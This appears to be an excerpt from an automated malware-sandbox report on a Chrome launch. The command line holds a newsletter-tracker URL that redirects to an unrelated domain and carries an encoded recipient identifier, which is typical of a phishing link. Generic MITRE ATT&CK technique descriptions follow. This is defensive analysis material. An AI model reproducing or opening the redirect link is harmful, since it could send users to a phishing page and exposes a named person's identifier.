Start time:	17:23:08
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://newsletter-editor.poweredbyintegra.dk/?NewsLetterTracker=true&bio=holstebrony&newsletter_ID=1&Text=Eget%20billede%20(ingen%20mellemrum)&Code=106&utcmabite=f9d0de3f-59af-46e8-b932-e8ab5db62f67&biocode=holstebrony&RedirectUrl=moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20="
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre